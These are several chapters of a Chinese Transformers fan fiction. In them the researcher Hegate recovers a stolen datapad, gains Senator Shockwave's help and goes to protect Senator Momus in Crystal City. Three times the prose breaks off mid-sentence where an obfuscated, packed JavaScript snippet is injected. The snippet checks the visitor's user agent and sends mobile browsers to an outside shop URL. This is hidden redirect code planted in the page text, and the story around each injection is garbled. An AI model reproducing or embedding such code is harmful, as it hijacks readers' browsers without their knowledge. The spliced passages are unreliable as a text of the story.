海格特感到困惑,他不知道是哪个环节出了问题,明明在网络聊天时就该热情地打个招呼,再发个表情包,这是《社交手册》上写的内容。 不过如果警车不想回复,他也不好多说什么。 “离我最近的一颗火种在二楼,然后……” 海格特把注意力收回,四处张望了一圈,最后低下头。 在地下,距离诊所数十米的位置,有很多火种在移动,自己要找的那个人也在那里。 但要怎么下去? 他开始寻找通往地下的入口,但转了一圈没有收获。 就在海格特打算去楼上问问情况时,身后突然传来一道轻柔的问候: “欢迎来到让渡诊所。” 回过头,那里站着一个人。 “我是这里的医生环锯,”来者的体格瘦长,“你想租个二手车身?还是体验飞行?我们这从跑车到飞行器应有尽有,单次服务只需要五千沙尼克斯币。” 好贵。海格特心里想。 五千币都够一个中型机买上好几周期的能量块了。 “你刚刚转了一圈,有看中的机体吗?”见他不说话,环锯做出一个微笑的表情,“说实话,我还是头一次见到你这样……冷静的客人。” 让渡诊所里摆放着不少空机体,大多数以载具形态摆放,偶尔有几具仍然呈现着塞伯坦人的形态,然而海格特每次都只是普通地当作障碍物绕开。 毕竟他提前知道了这些机体内没有火种。 “我在门口看到了广告,”他岔开话题,“机体替换真的不会出问题吗?” “绝对无副作用,”环锯摊手,“我们会帮你适应完所有的排异反应。” “你误会了,我没有更换机体的打算。” “噢,这么说你是来进行机体让渡的?” 环锯重新审视起眼前的人。 机身流畅,是中型机中偏小的那类,涂装也算得上新,但从外表看不出变形模式,反正不是载具,而且连外置武装都没有。 “像你这样非死胡同出身的人来卖机体真是少见,不过我得提醒你,非载具、非武装型的机体目前在市场上竞争力不大,除非是万年以上的长期让渡,不然在报酬方面……” 他说到这里忽然停了下来,眯起光学镜。 “你没在听,是吗?” “嗯,我没有让渡机体的打算。”海格特低头看向自己手臂上的内部数据板,点了几下,“有一件事我很好奇,按照现在的形势,有些地方连抱怨自己的变形模式都会被判刑,而让渡诊所却越来越多,光是铁堡就有二十六家。” 改变自己天生的变形形态,哪怕只是暂时的,对宣扬着“每个人的体形都有其用途”的功能主义来说都已经踩了红线。 但他们却像是特地网开一面,对诊所视而不见。 “呵。” 环锯的冷笑在空荡的诊所里回响。 “原来如此,一个阴谋论者……”他向海格特逼近了一步,声音低沉而冷漠,“是不是以为自己找出了什么真相?在插手我的生意前,建议你还是去查查基础的条例,机体让渡只是一种生活方式,合法得很。” 说罢,诊所的医生做出一个“请回”的动作。 “还有一件事。”海格特没有动,“我想找一个人,他现在就在这家诊所。” “我们这不包含寻人服务。”环锯有些不耐地挥挥手,“客户的信息是保密的,今天也根本没有人过来,你再不离开我就要联系警卫了。” “可他的机体在这。” 海格特说着,走向某个角落。 那里摆放着一台中型机体,虽然已经“人去车空”,但从部分细节来看,和当时骗了他的塞伯坦人有几分相似。 而且更重要的,在载具一侧夹了个东西。 那正是一个数据板——半分钟前他试着发送了一个信号,然后那里亮了一下。 “那是……” 海格特的声音戛然而止,头雕后侧那些遍布脑神经导线的位置突然传来一阵刺痛和麻痹感。 “真可怜,没人教过你注意身后,对吗?” 脑外科医生的声音含笑,五指末端伸出细长的针尖,朝着海格特脑模块的位置探去。 “无论那是什么,它现在都归诊所了,噢,前提是你还能听见——” “这是我的东西。” “……什么?” 听到意料之外的声音,环锯愣了一下。 “我说,您搞错了,这块数据板是我的东西。” 海格特不紧不慢地推开环锯的手,那些长针离开后脑,在感官阵列激起强烈的疼痛,但他却像是毫无感觉般说着,甚至有功夫意有所指地看了一眼地下。 “下面应该是你们进行机体替换手术的地方,为什么要把手术场所挖得那么深呢?” “!?” 环锯下意识想要退后,但伸出探针的手被紧紧抓住。 “我们都有秘密。” 海格特侧着头与他对视,那双极浅的光学镜就像泛光灯,将他的灵魂当成书页翻看。 “所以我不问你,你也不问我,把被偷的东西还给我,然后我们都当这件事没有发生过。 这样的流程可以被接受吗?医生。” —— ———— 走到街上,海格特迅速将环锯和诊所的事都抛在身后,把手里的数据板接到内线。 “研究成果证明……科研报告数据,还有证件证书……” 数据齐全,也没有被篡改的痕迹,小偷估计还没来得及破译他的数据板,它完好无损。 这让海格特的心情好了一点。 他松了口气,重新调出地图,然后搭乘泛大陆高速的班车前往铁堡中心。 晃荡的车厢有些拥挤,墙上贴着的标识有些歪,海格特看了它一眼,上面写着【变形形态为载具模式者禁止搭乘】,于是又默默将视线转向窗外。 一些飞行器正在划过铁堡的天空。 这让他想起天火。 就在最近,功能主义委员会用一些模棱两可的理由查封了天火的科学卫星, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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当时谢尔玛议员在被杀害的时候,大概也是这种心情吧。 在渐暗的天色下,海格特的神色晦暗不明。 他已经回到麦卡丹油坊附近的街道,附近几条街道都变得十分冷清,油坊前更是空空荡荡,一个人也没有。 现场依然是封锁状态,于是他绕路拐进某条小巷,就在这时,身后的跟踪者也加快了脚步。 结果我考虑得还是不够周全。 这样想着,海格特干脆停下脚步,转身直面那两个人。 如果早知道今天是结束的日子,我应该提前跟天火和救护车,还有荣格老师他们道个别的。 海格特缓缓抬起手,但就在这时—— “嘿,瞧这是谁?” 身后突然传来一道格外爽朗的声音,与此同时,肩膀猛地被什么人给勾住了,那力道很大,害得他机身一歪,趔趄了一下才勉强保持平衡。 “海格特!我们勇敢坦率的小发言者!没想到能在这遇到你。” “呃?” 海格特的思维因这突然的变故宕机了几秒。 由于刚才注意力集中在跟踪者的身上,没注意到这人从身后接近。 他侧过头,一颗格外明亮的火种就像是第二个燃烧的黄矮星般跃入光学镜,磅礴的情感让它愈发美丽而耀眼,波动频率比其他人都要高一大截。 “至于这几位,就请回吧。”这颗独特火种的主人抬起下巴,对那些跟踪者说,“这家伙现在跟我有约,还是说—— 你们打算在一个现任参议员面前毫无理由地把人强行带走?” 5. 第五章 铁堡,案发地附近。 原本冷清的封锁地带此时聚集了不少人。 “震荡波议员,这是安保部队的命令,我们有对奥提雷克斯大学研究员海格特的临时搜查令,您不能……” “我不能什么?”听见这话的震荡波来了脾气,他放开海格特,主动上前两步,“就算是御天敌本人在这里也没用,还是说你们想连我一起逮捕了?” 两个跟踪者对视一眼:“只是例行公事,麻烦您配合,您的言行会被记录在——” “哦算了吧!”议员再次打断他们,嘲讽地笑了一声,“元老院已经把停职弄得跟玩笑似的了,但你们真见过哪次我没坐回位置上?还是说,你们想跟我的人去先进技术学院聊聊?” 震荡波抱起双臂,崭新的涂装在渐暗的天色下泛着高贵的色泽,表情满是从容和压抑着的愤怒。 在他身后的黑暗处,依稀能看到几个带着武器的塞伯坦人。 “……” 安保部队的人想起传言,说震荡波会收留那些天生拥有异能的人,这些人里甚至有个能展开力场的。 他们拿不准对面到底有多少实力,就这样对峙了一阵,似乎意识到无法完成任务,也可能单纯是因为除掉海格特的任务等级没那么高,最终妥协离开了。 “越来越猖狂,”看着变形飞远的两个背影,震荡波捏紧了拳头,但最后还是缓缓放下,“我真想给他们一人一拳。” “议员……”有护卫上前想说些什么。 “得了,我又不会真的去,而且有机会我第一拳肯定给御天敌。” “议员。”护卫的声音有些紧张,“是海格特,他不见了。” 震荡波四下看了看,然后不可置信地瞪大光学镜:“你们让我救的人在我眼皮底下被带走了?” “他是自己离开的,我们没能跟住。” “你是说你们这些能突破音速的武装机,没能跟上一个变形形态是热成像仪的人?” “……” 护卫们欲言又止,那表情就像是他们也没弄明白到底发生了什么事。 “好吧,好吧,都安静!” 哪怕自认比大多数塞伯坦人都要见多识广,震荡波也难得失去了语言。 这大概是议员第一次遭人忽视,就在他的沉默快被护卫们误以为是愤怒爆发的前兆时,却意外地传来一道笑声。 “原来如此。”震荡波像是想到了什么,敲了下手心,“哈,我知道他去哪儿了!” —— ———— 晚些时候。 功能主义委员会大楼,科研功能办事处。 一片黑暗中,海格特将记录着天火科研成果的数据板送进了桌面读取口。确认材料递交完成后,他转身消失在夜色中。 这个时间的大楼几乎没有人,他绕开了所有监控和巡逻人员,从狭小的后窗绕了出去,回到繁华的铁堡街道上。 几乎就在翻出去的同时,内线再次传来警车的消息。 【警告:功能主义委员会大楼今日已经关闭,你刚才的行为属于非法入侵。】 海格特想了一下,如果刚才自己被抓到,应该不会连累到警车和锁芯。 但做错了事的确要道歉,于是他回复了一条:【对不起,请原谅我(大哭.jpg)】 对面再次没动静了。 所以到底是为什么? 海格特想不明白,决定之后去系统地学习一下如何展开话题。 但在那之前,还有别的事要做。 他走在街道上,来到方舟一号纪念广场。 有个人坐在长椅上,那颗火种依然波动强烈,很难看出到底是愤怒还是高兴。 “你来了,”在看到他走过来时,震荡波开口,“这里不方便说话,我们换个地方。” “好的。” 海格特点头,没有过多做出表示。 他跟在震荡波身后走着,一路上都在内部数据库努力翻看《社交手册》的内容。 上面说,做错了事要第一时间道歉。 上面还说,被帮助了要尽可能快地表达感谢。 那我到底是该先说谢谢,还是先道歉? 海格特的思维打了结,不知不觉间,他们已经走到了铁堡边缘的荒野,距离泛大陆高速公路稍远的地方。 将繁华的城市抛在身后,夜空愈发明亮,哪怕光学镜无法直接看到星空,但抬起头的时候,他也能通过月卫二上那些人火种的位置勾勒出星球的形状。 这让海格特又想画画了。 “我猜测你有某种能定位塞伯坦人的异能。”震荡波停下脚步,开口道,“看来我猜对了,你找到了我。” 他靠在风化的岩石边,火种明亮得近乎灼烧,似乎连身后的荒野也被点燃。 海格特站在他对面,深色的涂装在星光下就像一团模糊的影子。 “我知道天火他们肯定不让你说出去,异能违背了功能主义,只会给你带来麻烦。”震荡波注意到他欲言又止的表情,摆了摆手,“只是如果你未来有需要,可以来我这里避难。” 听到这里,海格特总算迟疑着开口:“震荡波议员。” “哈,你这表情看上去就像是终于意识到我是谁了。” “……” “等会,不会是真的吧?” “不,您令人印象深刻,”海格特抬起头,“不只是对俱五刑的否定,我还看过您过去在会议上对人格修正案的驳斥,那非常值得敬佩。所以如果有什么我能做到的,请尽管跟我说。” 震荡波愣了一下,还没来得及开口,就听见他继续说下去: “如果您想从技术角度入手来破解俱五刑的相关法案,我也会一起想办法。事实上,我最近已经开始起步相关的研究,是一种能通过火种频率倒推出原生机体形态的逆向工程……” 海格特停了下来,他盯着面前震荡波的火种,其中那些代表愤怒的波动早就消失,但整体频率却反而越来越剧烈,不禁开始担心自己再说下去对方会出什么问题。 “你……考虑过离开奥提雷克斯大学,到我的先进技术学院工作吗?” 震荡波突然问了这么一句。 海格特想了一下,摇头:“我想不行。” “哦拜托,我们简直志同道合!” “我要是离开,天火的科研小组就只能解散,到时候他的事业会受影响,所以在他找到合适的副手前我都不会辞职的。” 感知器和千斤顶都去安全控制部门挂职,救护车成为首席军医后也回到科学院任职。 曾经在极地发现他的那几个人,不知不觉已经几十年没见过面了,几十年的时间对其他人来说不过短短一瞬,但在海格特眼里,那几乎是他作为塞伯坦人的全部时光。 和某些碳基生命会提及的“家”的概念有些类似。 “唉,那好吧,等你有这个意向再跟我提。” 震荡波只好作罢。 “来说正事吧,我现在的确有件事需要你帮忙——但别把它当成我今天出面帮你的理由,那是你应得的,所以你可以随时拒绝或者抽身离开。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598610|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会帮您。”深色涂装的人点头,“但有先后顺序——我答应过警车要先帮他们找到谋杀谢尔玛议员的凶手。” “就是这件事。” “嗯?” “准确来说,是我有个认识的人需要你的帮助。”震荡波说着,将一份文件发了过去,“他叫摩莫斯,也是一名议员,是谢尔玛议员的朋友,住在蓝晶高地。唉,这件事我本来是要拜托另一个朋友,但他最近还不方便露面,奥利……咳,扯远了。” 海格特没有追究他差点脱口而出的名字,想了一下:“您希望我去保护摩莫斯议员。” “是的,准确来说我希望你用那种能定位的异能——不管那是什么,帮他排除一下危险。”震荡波微微蹙起眉,“我有种不好的预感,他们两个走得太近了,凶手大概率会盯上他。” 最近的塞伯坦暗流汹涌,很多事都在失去掌控,这不是警车一个人的体验。 “我知道了。”海格特说,“但我要怎么接近一个住在蓝晶高地的议员?” 那个地方住着近三千名塞伯坦人,每个都是上层精英。 “这些我来搞定。”震荡波迅速振作起来,迅速在数据板上操作,“你可以用研究透光蓝矿为由过去,相关项目我已经提交给奥提雷克斯,回去后把它关联到你的名下就行,我还会给你写一份推荐信。” “好的,我这就去。” “不用这么着急,你可以再考虑一下,这件事有很大风险……” 但海格特只是摇头,浅色的光学镜平静地看着他。 “请让我去。” 这种不假思索的态度反而让震荡波感到好奇。 “能告诉我为什么吗?我是说除了那些‘因为答应过机械法医’之外的理由。” 然而海格特又沉默了。 他不知道该怎么回答这个问题,毕竟在力所能及的范围内,帮助一个身处险境的无辜塞伯坦人,阻止一些更可怕的事情发生…… 这需要理由吗? “好吧,没关系。”震荡波也不追问,拍了拍他的肩膀,“我的人会送你回去,记得保护好自己,像你们这样的年轻人才是塞伯坦未来的希望。” 话音刚落,他看见海格特那张总是平静思索的脸上突然露出一丝迷惑。 “为什么?”海格特问。 “嗯?如果你是想说你只是回归社会得比较晚,实际上并不是年轻人,那我改口……” “不,议员,”海格特直直看着他,“我是想问,为什么是‘塞伯坦’?” 震荡波疑惑地摊手:“这有什么问题吗?这里不是塞伯坦?” “我见过一些深思熟虑的人,但他们所做的也只是考虑眼前的工作,或者当前的局势而已……这么直接地考虑整个塞伯坦的未来的人,您还是我见过的第一个。” 荒野的风带着金属粒子的气息吹过两人。 议员和研究员就这样沉默了一会儿,最后,前者笑了起来。 “小心点,你这么说话容易被人抓住对领袖不满的话柄,”震荡波用开玩笑的口吻说道,“毕竟我是个议员,那我就该考虑这些。” 然后他就看见海格特也提起了嘴角。 那是一个难以形容的表情,不是他试图打招呼时那种简单的微笑,但也并非假笑。 硬要说的话,就像很真诚地在模仿学习课本上的标准图像,却学得不够到家,以至于有些遥远和冰冷,就像夜空中的月卫二。 “您说得对。”他轻轻开口,“所以我觉得—— 您这样的人才是塞伯坦未来的希望。” 6. 第六章 奥提雷克斯大学,实验室内。 “电力系统运作正常,内循环稳定……” 海格特仔细检查着一个个设备,确保各项参数都被预先安置完毕后,又浏览了数据记录仪,确认记录监测也在流畅运行。 在做完这一切,他拿起实验室的内部通讯设备,联络了某个目标。 很快,通讯器对面传来一个疲惫的声音。 “……海格特?” 那是天火的声音。 “是我。”海格特察觉到他的状态不太好,于是尽可能放轻语调,“功能主义委员会那边要的材料我已经成功提交,在你从新星城回来之前,奥提雷克斯这边我会处理好的。” “谢谢,帮大忙了。” 他听见天火深深置换了一口气,语气也稍微放松。 “但我这边暂时还走不开,功能指导结束后他们让我在新星城参加一个项目,可能近期都没机会回铁堡……对了,我听说有议员遇刺?” “嗯,是谢尔玛议员。” “可怜的人……你没有因此遇上什么麻烦吧?” “有一点,”海格特斟酌了一下词汇,“但已经基本解决了,负责查案的机械法医人很好说话。” “什么?” 天火的语气听上去有些茫然,显然他——或者说这颗星球上的大部分人——都很难将“机械法医”和“好说话”这个词放在一起。 “天火,有件事我需要跟你说一下。” “什么事?” “我最近要去蓝晶高地,测试那里特有的透光蓝矿,所以大学实验室这边如果有你需要的数据或材料,可以联系感知器教授,我拜托他接下来隔段时间来一次。” 通讯器对面没声音了。 就在海格特以为对方没听见,打算再说一遍时,总算传来天火的回应。 “你怎么突然要研究透光蓝矿?”科学家的声音满是困惑,“而且蓝晶高地那个地方连荒野都是私人领域,根本没有可以建立临时科研基地的场所,你是以小队名义申请的权限吗?我怎么没有收到消息……” “我认识了一个新朋友,他把我介绍给那里的一个议员,会在私人公寓里给我留一间研究室。” 通讯器对面再次陷入了沉默。 过了半晌,天火用一种听不出情绪的口吻问他:“除了你还有谁会一起去?” “没有,就我一个。” “过去多久?” “不知道,但我想应该不会太久的。” “那你清楚自己在做什么吗?”听上去他有些生气了,“蓝晶高地的高级公寓塔楼里住的都是些生活奢侈的上层人士,和科研工作完全搭不上边,你是信了什么邪才相信到那里可以做研究?” “天火——” “而且那地方消息控制得比格拉斯1号还严,该死,还有各种保密措施,这意味着你要是出了任何事,消息都得等几个循环后才被我知道!” “天火,冷静一下。” 海格特有些无奈。 和警车的商议也好,和震荡波议员的对话也好,全都是需要保密的内容,他没办法把实情告诉天火——就像他没办法把自己的真实能力告诉其他人一样。 这种无法坦诚的感觉就像胸前堵了个什么东西,沉甸甸的。 “我不会有事的。”他说,“等一段时间后,我们还能像以前一样做研究,一切都会好起来。” “所以他们是利用你的归属感做要挟!?”天火这回是真的发了脾气,甚至能听到通讯器被捏得吱呀作响的声音,“到底谁让你去的?去那做什么?如果有人威胁我的小队成员出卖自己只为讨好一个议员,我会把他的火种……” “天火。” 海格特难得提高了语调,打断了科学小队队长的话。 “我之后还需要去救护车那里开具光学镜损伤证明,还有很多和外界接触的机会……或许你应该相信我一下。” 最近所有人的压力都太大了。 海格特看着实验室一条闪烁的线路,光学镜黯淡下去几分。 整个塞伯坦就像是被绷到极限的琴弦,只等着有谁去拨那最后一下。 “你……” 天火似乎还想说些什么,但最后只是化作一声叹息。 “抱歉……我不该那么说的,其实我……” 他只是自责。 “我知道,”海格特听出他的未尽之言,“但是请别这样,你应该多考虑研究相关的事,比如新建设一个科学卫星。” “我会的,”在重新变得平静的氛围中,天火苦笑道,“海格特,保护好自己,无论如何不要让他们发现你的秘密,不然万一,我是说万一遇到某些极端情况……我甚至不确定你还有选择死亡的权利。” 他的话很沉重,也很现实。 “……谢谢你,天火。” 海格特说。 “你是我见过最好的人。” —— ———— 又过了几个塞星日,在处理完大学实验室的相关事宜,和感知器交接了工作后,海格特就前往了蓝晶高地。 刚来到摩莫斯议员所在的大楼前,他就不由得抬起头。 ——这里的楼实在是太高了。 一座座深蓝色的恢宏建筑像是只有在神话中才会出现的高塔那样拔地而起,又以精巧的方式相互连接,玻璃般光滑的建筑体在黄矮星的光线照耀下显得华贵又神圣,美得惊心动魄。 这里就是在铁堡享有特权的阶层才能入住的地方,不只是身份和金钱上,他们连变形形态都能得到单独豁免。 和高大宏伟的建筑形成鲜明对比的是,这里的人口密度非常低,甚至不像一座城市应该有的人数。 海格特观察着蓝晶高地的火种分部情况,就在这时,突然听见旁边传来一道声音。 “你是什么人?从哪里来的?要见什么人?有预约吗?” 问题像连珠炮一样冒出来,打得人措手不及。 海格特转过头,来者是个中等体型的塞伯坦人,机体涂装是红白色,肩膀上安置着红色肩炮,面容严肃到近乎紧绷。 “我是海格特,奥提雷克斯大学研究员,和摩莫斯议员提前联系过。” 他回答了问题,刚想问一下对方的名字,但在那之前—— “你有推荐信吗?身份证件和项目研究证明文件又在哪里?你如何证明你是海格特本人?另外你的机体通过武器检测设备了吗?” 他再次被问题淹没了。 接下来的几个塞星时内,海格特都在挨个出示看守人所要求的各种资料和身份信息,不厌其烦地解答他所有的疑惑。 就在他几乎觉得今天得暂时撤退,明天再来继续想办法的时候,看守收到了一条联络。 “长官?是的,他……哦,我明白了……” 在应声了几次后,他停下了对海格特的盘查。 “我的名字是红色警报。”看守人面对海格特,像是在透露一个重大机密一般,说着理应在最开始就报上的信息,“是这里的看守人。” “嗯……您好。” 他理应再做个自我介绍,但刚刚反复的证明已经让海格特麻木到不想再说一遍自己的名字了。 在短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14598611|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂的确认后,红色警报总算放了行。 “那个,虽然只是我的猜测。”在上楼前,海格特问他,“你是不是认识警车?” 红色警报胸前印着汽车人安保部队的标志,和警方有关,同时又能打电话过来——说明随时知道自己在这里的人,海格特一时间只能想到给自己装了定位的那位机械法医。 “!!” 结果超出他的想象,听见这话的红色警报的火种强烈地震动一下,紧接着就开始颤抖起来,他攥紧双手,眼神直愣愣盯着前方,火种上那些紧张不安的波动几乎要溢机体。 这真的至于吗? “我没有别的意思,警车是个很好的人,现在请做个深置换。”海格特不得不开始引导他放松,“看着我的手,对就是这样,然后闭上眼……” 他尽可能安抚起红色警报的情绪,一边观测对方的火种,一边竭尽全力组织着最对症的语调。 “什么事都没有发生,你只是完成你的任务,我也是来帮你的。” “好……” 过了许久,红色警报的火种频率总算重新回到安全范围内。 他一定很没有安全感。海格特心想。让这样一个人来担任这么重要的大楼保安,让他保守秘密的同时又要承担后果,实在有点太残忍了。 但可想而知,红色警报根本没有“辞职”这条路可以走。 似乎是刚才的放松训练颇有成效,红色警报连看着海格特的表情都友好了很多。 “我带你去摩莫斯议员的楼层。”他主动说。 介于海格特没有载具模式,他们只能登上人行通道慢慢往上走,一路上,海格特看到不少关于变形形态的宣传广告。 “这里就是摩莫斯议员的住所。” 到了高层的某个门前,红色警报停下脚步,然后摁下了门口的传呼设备。 “摩莫斯议员阁下,奥提雷克斯大学的研究员来访。” 然而等了半晌,通报了三次,都没有得到回应。 “议员现在应该就在套间内。”红色警报调出大楼进出记录,“今天也没有其他来访客人。” 显然在蓝晶高地这种安全又私人的场所,摩莫斯没有给自己安排更多护卫,习惯于一个人呆在住处。 这也就导致只要他不主动出门,两人就联系不上他。 “或许你得找一找别的方法了,”红色警报看向海格特,“我记得一句谚语:如果普神给你关了一扇门,那他一定会留下一扇……” “吱呀——” 他还没能说出那个“窗”字,海格特就迅速上前将门打开。 “你没有获得相关授权,这是在做什么!?”看守惊呼着。 “我在开门。”海格特转过头,有些不解地看着他,“因为门就是这样用的。” “你……” 红色警报还想说什么,但研究员已经几步走入室内,像是提前知道了里面的情况,径自来到斜靠在沙发上的塞伯坦人身边。 “摩莫斯议员…议员?您还听得见我说话吗?” 没有回应。 那个靠在沙发上的人紧闭双眼,正痛苦地皱紧眉头,双手捂着胸口靠近火种的位置。 “议员怎么了?”终于意识到事态严重性的红色警报也走进来。 “是火种收缩的症状。”海格特将人平放,“一般是由于悲痛或焦虑引起的。” “那我去联系……” “去拿一个神经稳定器就好,这里交给我。”海格特说完,又安慰了一句,“摩莫斯议员不会有事,你也不会有任何事。 我会一直看着的。” 7.第七章 铁堡,机械法医事务所,某办公室内。 警车在一尘不染的资料架间踱步,不知道已经走了多少圈,从第70圈之后锁芯就没再数过。 “别着急,可能只是上面的人点错了,”锁芯从手中的数据板上抬起头,第三次试图劝他,“你知道,不是每个人都像你那么严谨。” “不。” 银白色的机械法医用一个坚决的否定词表达了他的态度。 “局里可能会卡进度,也可能直接驳回全面尸检的申请,但——用13.2塞秒迅速通过所有审批后,又在10分钟内撤销?这还是头一回。” “呃,那恭喜你率先体验到了他们的一个新毛病?” “没那么简单。” 听见搭档一如既往的固执,橙白色的塞伯坦人只能耸下肩:“你直接说吧,能有什么问题?” 然后警车就沉默了。 当锁芯以为他要一反常态地向自己投降时,却发现那双淡蓝色的光学镜莫名看了过来。 “……怎么?” “这事应该你来。”警车说,“你比我擅长脱离逻辑和数据,试试看吧。” “原来真有人能把‘帮我想想’说得这么欠揍,”锁芯喃喃了一句,“好吧,如果你坚持的话—— 全面尸检本来要走几周甚至几月的流程,这次却被立刻通过,这让我感觉上面会不会本来就安排好了一个‘真相’,我们的参与只是为了让报告变得更完整。突然撤回可能是因为这个剧本有漏洞,或者出现变量什么的。” “你这未免太胡……” 警车刚开口反驳,就想起这次是自己的要求,于是临时改了口。 “……咳,我是说悲观?” “更悲观的还没说呢,我认为真凶多半是个被洗脑的可怜人,不然怎么会做出谋杀议员这种事,那个帮助议会给异见者洗脑的研究所肯定存在,所有人都是议员们的牺牲品,然后战争爆发了,塞伯坦毁灭了,爱怎么样怎么样吧。” “……” “……” 两人沉默着对视一会儿,最后橙白色的机械法医率先移开视线。 “如果你想要个结局,”锁芯继续看着自己的数据板,“那他们在火种彼世的蓝晶高地幸福地生活在了一起,全剧终。” 警车哑然。 过了半晌,他从嗓子里冒出一个问题:“……你说哪里?” “火种彼世,你知道我瞎说的。” “我问后面一个。” “那就是蓝晶高地。”锁芯翻着手中的数据板,“因为不能做尸检,我就从常规调查入手,所以在找谢尔玛议员生前的活动轨迹。我发现他从十个世纪前就开始频繁拜访蓝晶高地,可能有个挚友或者伴侣在那吧。” “你这是未经授权的调查。” “打算举报我?” “这次不。” 各种线索像是电火花一样串在警车的逻辑电路上,在锁芯不明所以的视线中,他说出自己的推断。 “凶手在谢尔玛议员身上留下霸天虎标志——不管是出于嫁祸还是出于泄愤,都说明他挑选目标不是没理由,很可能还有下一个受害者。” “所以?” “所以我要去一趟蓝晶高地。” “我不太理解……你有搜查令?” “没,但我有常规线人,你要举报吗?” “还是算了。” 听见搭档的回答,警车罕见地露出一个弧度很浅的微笑,然后朝门外走去:“有新情况马上告诉我,记得不要再看网上那些关于研究所的阴谋论了。” “我尽量。”看着警车自顾自离开的背影,锁芯喃喃着,“出发吧,塞伯坦需要你,正义和真相需要你……” 但又有谁需要我呢? 他在心里默默问着。 —— ———— “普罗图斯议员首次会见波瓦入首脑,双方就C类卫星核子矿的采集周期与贸易浮动点数达成共识……” 咔哒。 “都市十大名胜!目前只需700塞金即可体验旅行套餐……” 咔哒。 “早前受袭的逆天劫领袖目前已得到妥善救治……” 咔哒。 “发生在麦卡丹油坊前的刺杀案已由铁堡机械法医事务部正式受理。” 切换频道的那只手停止了动作。 “经议会投票决定,铁堡洲际大桥将在下一个循环结束后正式更名为‘谢尔玛桥’以表纪念。另外,追悼会将在凶手被捕后举行。下面播报下一条新闻,东部工业区的新建筑群将在——” “砰!” 遥控被狠狠扔了出去,将二氧化硅屏砸得粉碎,电视发出滋滋的声音,频闪几下后彻底熄了屏。 “他们居然……!” 摩莫斯议员情绪激动地喊了一声,但因为过于虚弱,骂到一半他就倒回治疗床,金属相撞,发出砰的一声。 海格特坐在床和电视中间的椅子上调整治疗设备,哪怕听见玻璃碎裂的声音,视线也没有看向两边任何一方。 直到摩莫斯倒下,才转头看了过去。 “议员,您的身体状况还需要调整,”他轻声提议,“我不是正式的医疗单位,或许您应该去找其他人治疗。” “绝对不行,”暗黄色涂装的参议员疲惫地开口,“听好了,你和红色警报,谁都不能把我生病的事说出去。” “是。” 海格特点头答应。 摩莫斯又看了他一眼:“我不是你的上级,不要这么尊敬。” “那我可以问您一件事吗?” “你还挺不客气的……说吧。” 于是海格特问:“我想知道您生气的理由。” 他感觉只是听见了一条正常叙述的新闻,内容还是纪念谢尔玛的,如果摩莫斯因此触景生情,感到悲伤或痛苦那都可以理解,但完全没想到对方会如此愤怒。 话刚说完,他就看见摩莫斯刚平静一些的火种频率又波动起来,但很快安宁下去。 “你居然不明白。”他用有些讽刺的口吻说着,“是故意的,还是说震荡波没教过你这些?” 海格特有些困惑:“他不是我的老师。” “哈,我想也是。” 一个议员怎么可能有这么不谙世事的学生,摩莫斯扯了扯嘴角。 在得知挚友谢尔玛去世的消息时他就感觉晴天霹雳,而得知那个师从哲拉萨斯的震荡波议员要推荐一个人给自己时,摩莫斯更是产生了一种横竖都是死的悲哀,也因此患上了火种收缩。 他最后之所以会同意,一方面是看在震荡波是顶天者的朋友的份上——而他信任顶天者的品格——另一方面本来就是在赌。 看来他赌对了,至少已经被救了一命。 “让我自己待会吧,”摩莫斯疲惫地抬了下手,“楼下的客房归你,我通知红色警报把权限给你了。” “我知道了。” 海格特看了一眼摩莫斯的火种,虽然还有很多疑惑,但眼下的确不是时候。 他调整好高能量治疗仪器的参数就离开议员的病房,走出大厦,当冉冉升起的黄矮星将热量洒在他身上,海格特才意识到自己救治议员过于投入,不知不觉已经换了日期。 他查看了一下剩余能量,离开建筑区走向山间的荒野。 透光蓝矿的自然产地就在这附近,虽然绝大部分都已经被开采加工为建筑材料,但仍有一些残余。 他搭建了一个简易的临时基地,面朝蓝晶高地大厦的方向。 过了一段时间,当海格特用数据板记录矿物信息时,忽然听见身后传来空中穿梭艇飞行并落地的声音。 “警车?” 他看见来者的火种,有些困惑地歪了下头。 “你是找我去做光学镜损伤鉴定的吗?” “你的眼睛被定为奥提雷克斯大学一级保密条例,目前有权限进行验伤和调查的只有首席军医救护车。”警车省略了一切寒暄的步骤,直接打开自己的数据板,“他最近正在忙着治疗领袖,所以没有时间。” “嗯,我看到新闻了。” “很好,我今天过来是要确认一些事,”警车说,“凶手很可能将摩莫斯议员定为下一个目标,这你应该知道吧?” 海格特点点头:“是的,我过来就是为了保护他免遭毒手,和你的目标应该是一直的。” “……那你现在是在?” “研究矿物。” 荒野的风吹过山间,警车发现自己每次在面对海格特的时候都会有那么一两次,陷入无话可说的境地。 所幸这一次,海格特似乎从他的沉默中读出了寓意,解释道: “议员那边我一直在关注,你可以理解为我有定位相关的异能,就比如现在。” 他说着,将目光放到远处的蓝晶高地大厦间。 “我能看到议员在他的房间里休息,而看守人红色警报正在下楼。” 警车愣了一下,跟着看过去,但除了那些宏伟的建筑外什 